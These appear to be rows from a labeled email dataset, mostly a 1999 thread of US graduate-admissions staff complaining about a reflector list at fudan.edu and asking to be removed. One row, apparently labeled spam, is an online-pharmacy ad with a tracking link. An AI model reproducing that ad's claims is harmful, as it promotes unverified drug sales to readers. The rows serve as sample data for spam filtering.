to inform you. Please be patient; we are working as fast as possible. Thank you. *) I have received an admission letter; when will I get my I-20? Answer: It takes about one month after the admission letter to receive the I-20, so please be patient. In order to receive the I-20, you must have provided a correctly filled out form of financial responsibility. If you do not receive your I-20 form on time, please contact the International Studies Office at mmicha@nersp.nerdc.ufl.edu to check they have all your documentation. They are the ones providing the I-20. If you encounter any difficulties, please contact me again. In preparation for your trip, it would be a good idea to look at our web site www.ece.ufl.edu and at the university web site www.ufl.edu You will find there information about the University, Gainesville, and about Student Organizations that can help you with your initial settling here. *) I have been admitted, and I would like to obtain more information, like starting dates, or housing information. Answer: You will receive further information from the University, as we get closer to the start of the semester. Also, please check our web site www.ece.ufl.edu and the university web site www.ufl.edu You will find there a lot of information, and we are continuously adding more and more information to the web site. *) My admissions office computer record is not complete yet; could you make an admission decision in my case anyway? Answer: Regretfully, we cannot make an admission decision before the admissions office computer record is complete. Before the record is complete, we cannot even tell you what your chances for admission are. Very sorry. Altogether, the admission process takes about 12 weeks. Please be patient. If the answer to your question is not listed above, you will obtain an individual response. I usually reply to email during my office hours: Mondays, Wednesdays, and Fridays, 12-1PM. There is no need for you to send your message again. Thanks once again, and good luck. Jacob Hammer Professor and Graduate Coordinator Department of Electrical and Computer Engineering University of Florida Gainesville, FL 32611, USA Phone: (352)392-6607 Fax: (352)392-8381 ",0,1 info@graduate.ece.ufl.edu,westall@cs.clemson.edu,"Thu, 26 Aug 1999 22:11:26 -0400",(Hopefully) the LAST msg to fudan.edu,"You have reached the Graduate Program of the Department of Electrical and Computer Engineering of the University of Florida. Thank you for your message. This is an automatic response that introduces our automated email response system. Please read this entire message carefully. PLEASE NOTE THAT THIS IS THE ONLY RESPONSE YOU WILL GET TO YOUR PREVIOUS MESSAGE. YOU NEED TO FOLLOW THE INSTRUCTIONS BELOW TO FULFILL YOUR REQUEST. Thank you. If you need application forms and information about our program, you can obtain these on line, by directing your browser to http://www.ece.ufl.edu/grad_info/apply/ If you have no WWW access and would like to receive the application forms and information package, please send another email message INCLUDING ONLY YOUR NAME AND FULL ADDRESS to the email address: forms@graduate.ece.ufl.edu If you have some questions about our program, assistantships, or the application process, please send a message (no text needed) to the email address: faq@graduate.ece.ufl.edu We will email you in response a copy of our ""Frequently Asked Questions"" document (FAQ), which contains detailed answers to the most common questions. The FAQ also explains how you can get answers to questions not covered by the FAQ. If you are trying to reach our Graduate Program office staff (Ms. Linda Kahila, or Stephanie Bouwens)you must send your message again to the email address: office@graduate.ece.ufl.edu If you are trying to reach Dr. Hammer personally, you must send your message again to the email address: hammer@graduate.ece.ufl.edu Sorry for the inconvenience. Thank you once again for your interest in our Graduate Program. J. Hammer Professor and Graduate Coordinator Department of Electrical and Computer Engineering University of Florida Gainesville, FL 32611, USA Phone: (352)392-6607 Fax: (352)392-8381 ",0,1 admissions@college.uchicago.edu,undisclosed-recipients:;,"Thu, 26 Aug 1999 21:12:27 -0500",Re: (Hopefully) the LAST msg to fudan.edu," In order to serve our electronic inquirers more efficiently, the University of Chicago's Office of College Admissions has restructured its e-mail response system, making the address you have used obsolete. To minimize our response time, we would like to shift as much e-mail traffic as we can to the World Wide Web, and we ask that any time-sensitive correspondence -- the kind in which a student might ask to schedule an interview, request on-campus housing, reply to an invitation, or check on the status of a file -- be conducted by phone or by e-mail sent directly to the person the sender intends to reach. Listed below are the options available to inquirers using the World Wide Web or e-mail Please note that the url's are case-specific. To request an application for admission and be added to our mailing list, go to: http://www-college.uchicago.edu/college/App-ad/request.html To ask other questions that are not time-sensitive, go to: http://www-college.uchicago.edu/college/App-ad/inquiry.html If you do not have Internet access, you may use the e-mail address below for matters that are not time-sensitive. We advise you to use it only as a last resort because our response time is apt to be much longer than it would be for a message received via the Web. org_cout@orgmail.uchicago.edu Users of this last address should include the following information in their correspondence: First Name Middle Name Last Name Sex Mailing Address City State Postal Code Country Phone Fax E-mail If you are requesting an application using this last e-mail address, also be sure to include the following: Social Security number (for tracking application materials) Birthdate (mm/dd/yy) Ethnicity (optional) African-American or Black American Indian or Alaska Native Asian, Pacific Islander, East Indian Hispanic or Latino White Current School Name School Address Choose one: a) U.S. citizen/permanent resident/refugee b) citizen of another country Entering as a a) first-year student b) transfer Thank you, The Office of College Admissions, The University of Chicago ",0,1 Admissions inquiry account ,,"Thu, 26 Aug 1999 19:15:06 -0700","University of Arizona, CS Dept","***************************************************************** This is an automated response to your email sent to: gradadmissions@cs.arizona.edu >>>>>Send any further inquiries to: soniae@cs.arizona.edu<<<<<< ****************************************************************** Thank you for your inquiry about our graduate program in computer science. The Spring 2000 application deadline is August 1, 1999. This deadline is for: 1) all international applicants and 2) all applicants requesting financial assistance. Therefore, if you are a domestic applicant wanting to apply to the Master's program without aid the deadline is October 1, 1999 for Spring 2000. An application packet will be sent to you via postal mail as soon as possible. If you do not wish to receive an application packet, send email to the address given at the end of this message. You can electronically access information about our department via FTP and the World Wide Web. If you have access to the WWW our URL is: http://www.cs.arizona.edu You can also receive general information about The University of Arizona at: http://www.arizona.edu. The following files in our FTP directory should answer most of your questions about this department, our faculty, the research being conducted, and admission requirements. These files are contained in a directory entitled ""/dept.info"" README adm.requirements course.listing department.ranking faculty.publications faculty.research financial.aid general.information phd.minor.requirements To access our site via FTP, ftp to ftp.cs.arizona.edu, enter anonymous when prompted for a username, and give your email address when prompted for a password. Those who lack FTP access (i.e., direct access to the Internet) but do have email access, can use our ftpmail service. To obtain a full listing of the files available in the FTP area, send a message to: ftpmail@cs.arizona.edu with the following lines in the body (the Subject: line is ignored): open cd /dept.info dir quit The ftpmail daemon checks for requests every 15 minutes, and sends out the requested files. To get a full description of the commands for the ftpmail daemon, send a message containing one word: help to ftpmail@cs.arizona.edu. If you have trouble with transferring files via FTP, we can send them via electronic mail. Send your request to: soniae@cs.arizona.edu If you don't have an e-mail address, the information can be sent via regular mail. Please send your request to the address below. If additional information is needed please contact: Sonia Economou Graduate Program Coordinator phone: (520) 621-4049 fax: (520) 621-4246 email: soniae@cs.arizona.edu Or you can write to: The University of Arizona Department of Computer Science Gould-Simpson 725B Tucson, AZ 85721 Attn: Graduate Admissions",0,1 Postmaster@Mac.dartmouth.edu,westall@cs.clemson.edu,"Thu, 26 Aug 1999 22:15:58 -0400",Engineering Admissions -- Automatic Reply,"We are now processing application inquiries for fall term 2000. We will begin mailing applications toward the end of summer. Should you have questions, complete information on our graduate programs, graduate research opportunities, facilities, faculty and their research interests, together with a downloadable application for admission to the Thayer School of Engineering at Dartmouth College is immediately available on our website at http://thayer.dartmouth.edu/thayer/ Should you have further questions, please feel free to call Thayer's Graduate Admissions Office at (603)646-2606. Thank you for your interest in the Thayer School of Engineering. Sincerely, Graduate Admissions Thayer School of Engineering Dartmouth College 8000 Cummings Hall ",0,1 """Dr. J. Hammer"" ",cslist@fudan.edu,"Thu, 26 Aug 1999 21:19:27 -0400",Junk email,"As you all might have noticed, the domain name fudan.edu has an email bouncer that reflects emails to all graduate admissions offices in the US. The address of the mailing list is cslist@fudan.edu A message sent to that address is resent to all graduate admissions offices. Please send complaints to root@fudan.edu to terminate this ridiculous practice. Please also complain to the organization of graduate schools. Thanks. J. Hammer Professor and Graduate Coordinator Department of Electrical and Computer Engineering University of Florida Gainesville, FL 32611 USA ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Jonathan Pennington ,Handyboard list ,"Thu, 26 Aug 1999 21:54:39 -0400",Code site/kids project help,"IC code site: Over 150 hits in less than ten days! I'm assuming that all that traffic stems from the link to Fred Martin's main Handy Board page. (I hope I'm not disappointing a lot of people by not having too much available yet). I contacted the writer of the IR remote routines for permission to post them, and hunted down a few more sources on IR control. Hopefully a couple of days will bring IR remote code. I've also posted Jaron Paludanus' shaft encoder tip (the first tip). Kids Project Help: I'm organizing a middle school robotics project. The Idea/proposal webpage is at http://stu.cofc.edu/~jwpennin/robot/index.html but the short and skinny is that the kids form different teams (not all computer or science based) and work together to plan a robotics mission. Has anybody here done anything like this before? I'd like some input from experience. It started as just an idea to get college students into the grade schools to play with/teach kids about science, but somehow I got funding and interest, and now could use some advice. -- ___________________________________________________________________________ Jonathan Pennington | -Wannabe Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake"" ---------------------------------------------------------------------------- ",0,1 John Sommerhauser ,Mike Westall ,"Thu, 26 Aug 1999 19:32:13 -0700",Re: (Hopefully) the LAST msg to fudan.edu," hi Mike, thanks very much for your input. I replied privately to the first of the follow-up e-mails earlier today (from the person in Utah), only to find three more in my in-box when I got home from campus. I am with the University of California, Irvine. We also ignore e-mail that is obviously intended for multiple recipients. (I once received a request for application and program information that had been directed to 137 separate addresses. Please don't ask why I bothered counting; I don't know!) Managing--or attempting to manage--the incoming mail from PRC and India is a major part of our daily efforts. regards, John Sommerhauser Graduate Student Affairs Counselor UCI School of Engineering At 10:11 PM 8/26/99 -0400, you wrote: > >I have tried to avoid contributing to this problem but it now >looks like it will go on forever if I don't inject one more >message. > >The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU > ",0,0 Mitzi Seals ,handyboard@media.mit.edu,"Fri, 27 Aug 1999 04:03:49 -0100",All products for your health!,"http://glgiib.overpace.net/?35753057 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://glgiib.overpace.net/?35753057 ",1,1 """c.l. lassiter somewhere over the abyss"" ",Mike Westall ,"Fri, 27 Aug 1999 08:37:47 -0400",Re: (Hopefully) the LAST msg to fudan.edu,"On Thu, 26 Aug 1999, Mike Westall wrote: > > I have tried to avoid contributing to this problem but it now > looks like it will go on forever if I don't inject one more > message. > > The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU > Thank you. Someone who can read. (Pardon my cynicism.) cl ____________________________________________________ CL Lassiter, Director Student Services Department of Environmental Sciences and Engineering CB# 7400 Rosenau Hall The University of North Carolina Chapel Hill, NC 27599-7400 919-966-4818 919-966-7911 (fax) email: SEAELLE@UNC.EDU ENVR Homepage: http://www.sph.unc.edu/envr/ ",0,1 Ann Carvalho ,cslist@fudan.edu,"Fri, 27 Aug 1999 08:51:52 -0400",List," Please remove my name from your list serve. ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Graduate Admissions ,Karen Luther ,"Fri, 27 Aug 1999 09:11:03 -0400",Re: (Fwd) Re: Application Form Request,"I am receiving the same messages. Please remove my e-mail address from your list. ----- Original Message ----- From: Karen Luther To: Sent: Thursday, August 26, 1999 4:03 AM Subject: (Fwd) Re: Application Form Request > Messages being sent to you as shown below are being forwarded > to me. Can you explain why? > > > ------- Forwarded Message Follows ------- > Date sent: Thu, 26 Aug 1999 13:59:46 -0700 > To: cslist@fudan.edu > From: Graduate Admissions > Subject: Re: Application Form Request > > Dear Prospective Applicant: > > Thank you for your inquiry about graduate study at the > University of California, Santa Cruz. Please be advised that > UCSC greatly values the participation of scholars from diverse > nations and cultures in our various graduate programs, and we > therefore actively solicit applications for admission from > foreign applicants. Unfortunately, recent fiscal problems in > the University of California have made it very difficult for us > to offer much financial support to foreign applicants. (Departments may > recommend offers of available financial support based on merit.) It is > strongly recommended that international applicants seek scholarship support > from their own government. > > ***To receive complete program information and a formal > application for admission, please write to us at UC Santa > Cruz, Division of Graduate Studies, 1156 High Street, > Santa Cruz, CA 95064. Indicate the program to which you will > apply, and include an $8.50 (U.S.) money order payable to > UC Regents. Applications and program information will not > be mailed until we have received the $8.50 money order. > > You may obtain information on our graduate programs, general > application information and the links to complete an on-line > application or download an application at: > > http://graddiv-19.ucsc.edu/GradStudies/index.html > > Graduate Admissions prefers to receive applications for Fall 2000 after > September 1st, 1999. Because it normally takes much longer to process > international applications, you should submit your application well before > the program's deadline. > > Information for prospective students from other countries: > http://www.admissions.ucsc.edu/ucpubs/ips-top.html > > Sincerely, > Katelyn Haynes > Graduate Admissions > UC Santa Cruz > > >Please send you request to cse-gradinfo@cse.buffalo.edu > > > > > >________________ > >Email Forwarding Service Brought To You By: http://www.bn3.com. > >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > > Sincerely, > Katelyn Haynes > Graduate Admissions > 1156 High St. > Santa Cruz, CA 95064 > (831) 459-5905 > > > > > ________________ > Email Forwarding Service Brought To You By: http://www.bn3.com. > We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > Karen Luther > School of Graduate Studies > Utah State University > > > ________________ > Email Forwarding Service Brought To You By: http://www.bn3.com. > We can let you become anybody@anyplace.com. FREE, In 5 minutes! > ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 carmi@umbc.edu,cslist@fudan.edu,"Fri, 27 Aug 1999 09:16:16 -0400",request,"Please remove my name from the list. Thanks! ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Loretta A Willis ,cslist@fudan.edu,"Fri, 27 Aug 1999 09:09:05 -0400",CS Lists,"PLEASE REMOVE THE UNIVERSITY OF VIRGINIA FROM YOUR MAILING LISTS. ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Toni Sposito ,cslist@fudan.edu,"Fri, 27 Aug 1999 09:25:40 -0400",Fwd: CS Lists,">Delivered-To: m7-cslist@fudan.edu > >PLEASE REMOVE THE RENSSELAER POLYTECHNIC INSTITUTE FROM YOUR MAILING LISTS. >I have several schools emailing me to remove them from the FUDAN LIST. PLEASE REMOVE ME so I will not have to redirect these messages back to FUDAN. Antoinette Sposito Senior Secretary Graduate Academic & Enrollment Services Rensselaer Polytechnic Institute Troy, NY 12180-3590 (518) 276-6789 sposia@rpi.edu ",0,0 IU Office of Admissions ,cslist@fudan.edu,"Fri, 27 Aug 1999 08:29:06 -0000",,"Please, please, please remove us from your mailing list. Thank you. ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Kathy Kreh ,cslist@fudan.edu,"Fri, 27 Aug 1999 09:33:56 -0400",List,"Please remove my name from this list. kathy kreh >Delivered-To: m7-cslist@fudan.edu >X-Lotus-FromDomain: SUNYSB >From: ""Ann Carvalho"" >To: cslist@fudan.edu >Date: Fri, 27 Aug 1999 08:51:52 -0400 >Subject: List > > > >Please remove my name from your list serve. > > > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 """S. B. Johnson"" ",cslist@fudan.edu,"Fri, 27 Aug 1999 08:36:24 -0500",cslist@fudan.edu,"Like the rest of you, I am getting tired of receiving e-mail with the subject address. However, I have received only 1 message that did not originate from someone who wanted to be taken off the list. To be taken off an alias list, you do not send the e-mail to all people on the list. Send the request to the originator of the e-mail. I suggest if you receive any e-mail addressed to cslist@fudan.edu simply reply to the sender - DO NOT REPLY TO ALL ADDRESSEES. Reply with nothing else than the original message. ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Kathleen M Pohlman ,"cslist@fudan.edu, euniced@uidaho.edu","Fri, 27 Aug 1999 09:40:20 -0400",Re: Question re E-mail messages,"I'm sorry about your mail. I also am getting a huge amount of reply's from schools I did not send mail to. Unfortunately, it appears I had a request from a chinese student and sent an automatic reply to him which he had going to a mail distributer. It looks like we need to be more carefull about not replying to what may look like a list. The really stupid part is that this person won't even receive any replys. ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 """Dr. Warren Viessman, Jr."" ",cslist@fudan.edu,"Fri, 27 Aug 1999 09:47:42 -0400",CS Lists,"PLEASE REMOVE THIS ADDRESS FROM YOUR MAILING LIST Dr. Warren Viessman, Jr. Associate Dean for Academic Programs University of Florida College of Engineering 312 Weil Hall P.O. Box 116550 Gainesville, FL 32611-6550 (352) 392-0943 ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 UMKC Graduate Studies ,'Mike Westall' ,"Fri, 27 Aug 1999 08:50:55 -0500",RE: (Hopefully) the LAST msg to fudan.edu,"Thank you for an explanation. I've been getting responses from upset people asking me to stop emailing them. -----Original Message----- From: Mike Westall [mailto:westall@cs.clemson.edu] Sent: Thursday, August 26, 1999 9:12 PM To: cslist@fudan.edu; rutgers@ces.clemson.edu Subject: (Hopefully) the LAST msg to fudan.edu I have tried to avoid contributing to this problem but it now looks like it will go on forever if I don't inject one more message. The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU If you are interested in the ""why"" continue to read the message I sent earlier. I plan to send Mr. Gao a message that he and any other students who use this time-wasting spam attack that he can forget about receiving materials from Clemson. >I have gotten two of these today. One from SUNY Buffalo and one >from UCSC. (I also got an ""original"" from China) > >As near as I can tell here is what is happening: >Fudan has a mail distributer that Mr. Gao sends a message to >and the distributer sends the message to EVERY CS grad program >in the good ole USofA (maybe multiple messages!) > >Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >at Clemson inadvertently >sends their canned responses to cslist@fudan.edu rather than >gyqin@fundan.edu... then their reply is reflected back to everybody >on the original list and to make matters worse, Mr. Gao never >sees it and so he may try again! > >I don't think we will EVER stop this Chinese spam and so it would >appear that any of us who respond should be REALLY careful not to >respond to what looks like a list! > >Mike Westall >Professor of Computer Science and >Director of Graduate Affairs >Dept. of Computer Science >Clemson University > > >>Delivered-To: m7-cslist@fudan.edu >>Date: 25 Aug 1999 03:13:15 -0000 >>From: Gao Yongqin >>To: cslist@fudan.edu >>Subject: Application Form Request >> >>To Who It May Concern, >> >>I am an applicant for the Ph. D. program of Computer Science of your >>esteemed University with financial aid in Fall'2000. And now I am graduate >>student of Fudan University,P.R. China.Can you do me a favor to send >>the application form to the address below. MW ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 """Hoover, Nancy"" ","""'cslist@fudan.edu'"" ","Fri, 27 Aug 1999 08:57:09 -0500",Test,"I'm not sure why we are receiving mail addressed to cslist@fudan.edu ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 """S. B. Johnson"" ",Mike Westall ,"Fri, 27 Aug 1999 09:02:20 -0500",Re: cslist@fudan.edu,"I was not encouraging people to send messages to cslist@fudan.edu I said ""Send the request to the originator of the e-mail."" None of the originators of the e-mail have been cslist@fudan.edu SBJ Mike Westall wrote: > Not so!! > > You send any message addressed to the SINGLE ADDRESS cslist@fudan.edu > and it will be automatically bounced back to all 100+ of us who are > receiving this crap. > > The LAST thing we want to encourage is people to send even more of > these take ""me offs"". Let me reiterate this is NOT A CASE OF PEOPLE > INADVERTENTLY DOING A ""REPLY ALL"". > > Mike Westall > Professor of Computer Science ",0,0 Lucy Freed ,cslist@fudan.edu,"Fri, 27 Aug 1999 09:11:01 -0400",removal,"Please remove West Virginia University from your cs list. Lucy Freed Administrative Secretary WVU, CSEE Department 841-C Eng. Sci. Bldg. 304-293-0405 x2520 ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Katherine Waters ,cslist@fudan.edu,"Fri, 27 Aug 1999 10:05:47 -0400",removal," Please remove the University of Tennessee from your list. Kathy Waters 107 Ayres Hall Dept of Computer Science Knoxville, TN 37996-1301 University of Tennessee PHONE: (423) 974-4400 Fax: (423) 974-4404 email: kathy@cs.utk.edu ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 deno@cs.purdue.edu,cslist@fudan.edu,"Fri, 27 Aug 1999 09:13:57 -0500",Remove,"Please remove my name from your mailing list. Susan Deno Graduate Secretary Computer Sciences Purdue University ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Lucy Freed ,cslist@fudan.edu,"Fri, 27 Aug 1999 09:24:40 -0400",removal,"Please remove West Virginia University from your list. Lucy Freed Administrative Secretary WVU, CSEE Department 841-C Eng. Sci. Bldg. 304-293-0405 x2520 ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Valerie Pettit ,"cslist@fudan.edu, gradadm@cats.ucsc.edu","Fri, 27 Aug 1999 10:21:45 -0400",Re: Application Form Request,"Please remove my name as well. Valerie Pettit Graduate Secretary EECS Ohio University At 04:01 PM 8/26/99 -0500, Michael Faiman wrote: >Please REMOVE my name from your list. > >Michael Faiman >Professor Emeritus >Department of Computer Science >University of Illinois >Urbana-Champaign > >---------------------------------------------------- > >>From gradadm@cats.ucsc.edu Thu Aug 26 15:58 CDT 1999 >Received: from dcs-server1.cs.uiuc.edu (dcs-dept-server1.cs.uiuc.edu [128.174.252.132]) > by sal.cs.uiuc.edu (8.9.3/8.9.3) with ESMTP id PAA16540 > for ; Thu, 26 Aug 1999 15:58:25 -0500 (CDT) >Received: from relay1.cso.uiuc.edu (relay1.cso.uiuc.edu [128.174.5.119]) > by dcs-server1.cs.uiuc.edu (8.9.3/8.9.3) with ESMTP id PAA00456 > for ; Thu, 26 Aug 1999 15:58:19 -0500 (CDT) >Received: from mailgw.bn3.com ([216.101.25.190]) > by relay1.cso.uiuc.edu (8.9.3/8.9.3) with SMTP id PAA13799 > for ; Thu, 26 Aug 1999 15:58:18 -0500 (CDT) >Received: (qmail 3743 invoked by uid 508); 26 Aug 1999 20:56:27 -0000 >Received: (qmail 3741 invoked from network); 26 Aug 1999 20:56:27 -0000 >Received: from rumpleteazer.ucsc.edu (HELO cats.ucsc.edu) (128.114.129.45) > by softdnserror with SMTP; 26 Aug 1999 20:56:26 -0000 >Received: from [128.114.10.169] (dhcp-10-43.UCSC.EDU [128.114.10.169]) > by cats.ucsc.edu (8.9.3/8.8.4.cats-athena) with ESMTP > id NAA04641 for ; Thu, 26 Aug 1999 13:57:31 -0700 (PDT) >Delivered-To: m7-cslist@fudan.edu >Message-Id: >In-Reply-To: <199908261253.IAA09162@castor.cse.Buffalo.EDU> >Mime-Version: 1.0 >Date: Thu, 26 Aug 1999 13:59:46 -0700 >To: cslist@fudan.edu >From: Graduate Admissions >Subject: Re: Application Form Request >Content-Type: text/plain; charset=""us-ascii"" >Content-Length: 2203 >Status: R > >Dear Prospective Applicant: > >Thank you for your inquiry about graduate study at the >University of California, Santa Cruz. Please be advised that >UCSC greatly values the participation of scholars from diverse >nations and cultures in our various graduate programs, and we >therefore actively solicit applications for admission from >foreign applicants. Unfortunately, recent fiscal problems in >the University of California have made it very difficult for us >to offer much financial support to foreign applicants. (Departments may >recommend offers of available financial support based on merit.) It is >strongly recommended that international applicants seek scholarship support >from their own government. > >***To receive complete program information and a formal >application for admission, please write to us at UC Santa >Cruz, Division of Graduate Studies, 1156 High Street, >Santa Cruz, CA 95064. Indicate the program to which you will >apply, and include an $8.50 (U.S.) money order payable to >UC Regents. Applications and program information will not >be mailed until we have received the $8.50 money order. > >You may obtain information on our graduate programs, general >application information and the links to complete an on-line >application or download an application at: > > http://graddiv-19.ucsc.edu/GradStudies/index.html > >Graduate Admissions prefers to receive applications for Fall 2000 after >September 1st, 1999. Because it normally takes much longer to process >international applications, you should submit your application well before >the program's deadline. > >Information for prospective students from other countries: >http://www.admissions.ucsc.edu/ucpubs/ips-top.html > >Sincerely, >Katelyn Haynes >Graduate Admissions >UC Santa Cruz > >>Please send you request to cse-gradinfo@cse.buffalo.edu >> >> >>________________ >>Email Forwarding Service Brought To You By: http://www.bn3.com. >>We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > >Sincerely, >Katelyn Haynes >Graduate Admissions >1156 High St. >Santa Cruz, CA 95064 >(831) 459-5905 > > > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > > ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Valerie Pettit ,"Karen Luther , cslist@fudan.edu","Fri, 27 Aug 1999 10:24:01 -0400",Re: (Fwd) Re: Application Form Request,"I have no idea why these messages are coming to me, some kind of mixup regarding graduate program inquiries for other universities. Valerie Pettit Graduate Secretary, EECS Ohio University At 03:03 PM 8/26/99 +700, Karen Luther wrote: >Messages being sent to you as shown below are being forwarded >to me. Can you explain why? > > >------- Forwarded Message Follows ------- >Date sent: Thu, 26 Aug 1999 13:59:46 -0700 >To: cslist@fudan.edu >From: Graduate Admissions >Subject: Re: Application Form Request > >Dear Prospective Applicant: > >Thank you for your inquiry about graduate study at the >University of California, Santa Cruz. Please be advised that >UCSC greatly values the participation of scholars from diverse >nations and cultures in our various graduate programs, and we >therefore actively solicit applications for admission from >foreign applicants. Unfortunately, recent fiscal problems in >the University of California have made it very difficult for us >to offer much financial support to foreign applicants. (Departments may >recommend offers of available financial support based on merit.) It is >strongly recommended that international applicants seek scholarship support >from their own government. > >***To receive complete program information and a formal >application for admission, please write to us at UC Santa >Cruz, Division of Graduate Studies, 1156 High Street, >Santa Cruz, CA 95064. Indicate the program to which you will >apply, and include an $8.50 (U.S.) money order payable to >UC Regents. Applications and program information will not >be mailed until we have received the $8.50 money order. > >You may obtain information on our graduate programs, general >application information and the links to complete an on-line >application or download an application at: > > http://graddiv-19.ucsc.edu/GradStudies/index.html > >Graduate Admissions prefers to receive applications for Fall 2000 after >September 1st, 1999. Because it normally takes much longer to process >international applications, you should submit your application well before >the program's deadline. > >Information for prospective students from other countries: >http://www.admissions.ucsc.edu/ucpubs/ips-top.html > >Sincerely, >Katelyn Haynes >Graduate Admissions >UC Santa Cruz > >>Please send you request to cse-gradinfo@cse.buffalo.edu >> >> >>________________ >>Email Forwarding Service Brought To You By: http://www.bn3.com. >>We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > >Sincerely, >Katelyn Haynes >Graduate Admissions >1156 High St. >Santa Cruz, CA 95064 >(831) 459-5905 > > > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > >Karen Luther >School of Graduate Studies >Utah State University > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > > ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Valerie Pettit ,Mike Westall ,"Fri, 27 Aug 1999 10:29:25 -0400",Re: (Hopefully) the LAST msg to fudan.edu,"Thanks, for clarifying. I recognize Mr. Gao's name in a previous email message awhile back about handling overseas inquiries to our graduate program for a small fee. Thanks again, Valerie Pettit At 10:11 PM 8/26/99 -0400, you wrote: > >I have tried to avoid contributing to this problem but it now >looks like it will go on forever if I don't inject one more >message. > >The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU > >If you are interested in the ""why"" continue to read the message >I sent earlier. > >I plan to send Mr. Gao a message that he and any other students >who use this time-wasting spam attack that he can forget about >receiving materials from Clemson. > >>I have gotten two of these today. One from SUNY Buffalo and one >>from UCSC. (I also got an ""original"" from China) >> >>As near as I can tell here is what is happening: >>Fudan has a mail distributer that Mr. Gao sends a message to >>and the distributer sends the message to EVERY CS grad program >>in the good ole USofA (maybe multiple messages!) >> >>Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >>at Clemson inadvertently >>sends their canned responses to cslist@fudan.edu rather than >>gyqin@fundan.edu... then their reply is reflected back to everybody >>on the original list and to make matters worse, Mr. Gao never >>sees it and so he may try again! > >> >>I don't think we will EVER stop this Chinese spam and so it would >>appear that any of us who respond should be REALLY careful not to >>respond to what looks like a list! >> >>Mike Westall >>Professor of Computer Science and >>Director of Graduate Affairs >>Dept. of Computer Science >>Clemson University >> >> >>>Delivered-To: m7-cslist@fudan.edu >>>Date: 25 Aug 1999 03:13:15 -0000 >>>From: Gao Yongqin >>>To: cslist@fudan.edu >>>Subject: Application Form Request >>> >>>To Who It May Concern, >>> >>>I am an applicant for the Ph. D. program of Computer Science of your >>>esteemed University with financial aid in Fall'2000. And now I am graduate >>>student of Fudan University,P.R. China.Can you do me a favor to send >>>the application form to the address below. > >MW > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > >",0,1 """Janet C. Netzel"" ","""'cslist@fudan.edu'"" ","Fri, 27 Aug 1999 08:29:40 -0600",RE: List," REMOVE THE UNIVERSITY OF WYOMING FROM YOUR LIST. AND QUIT SENDING ALL THOSE MESSAGES. COMPUTER SCIENCE, UNIVERSITY OF WYOMING ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 """Carney, Cheryl L"" ","""'cslist@fudan.edu'"" ","Fri, 27 Aug 1999 09:33:49 -0500",Solution,"Use a filter or rule to block email being sent to cslist@fudan.edu. This should solve your problem. ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become 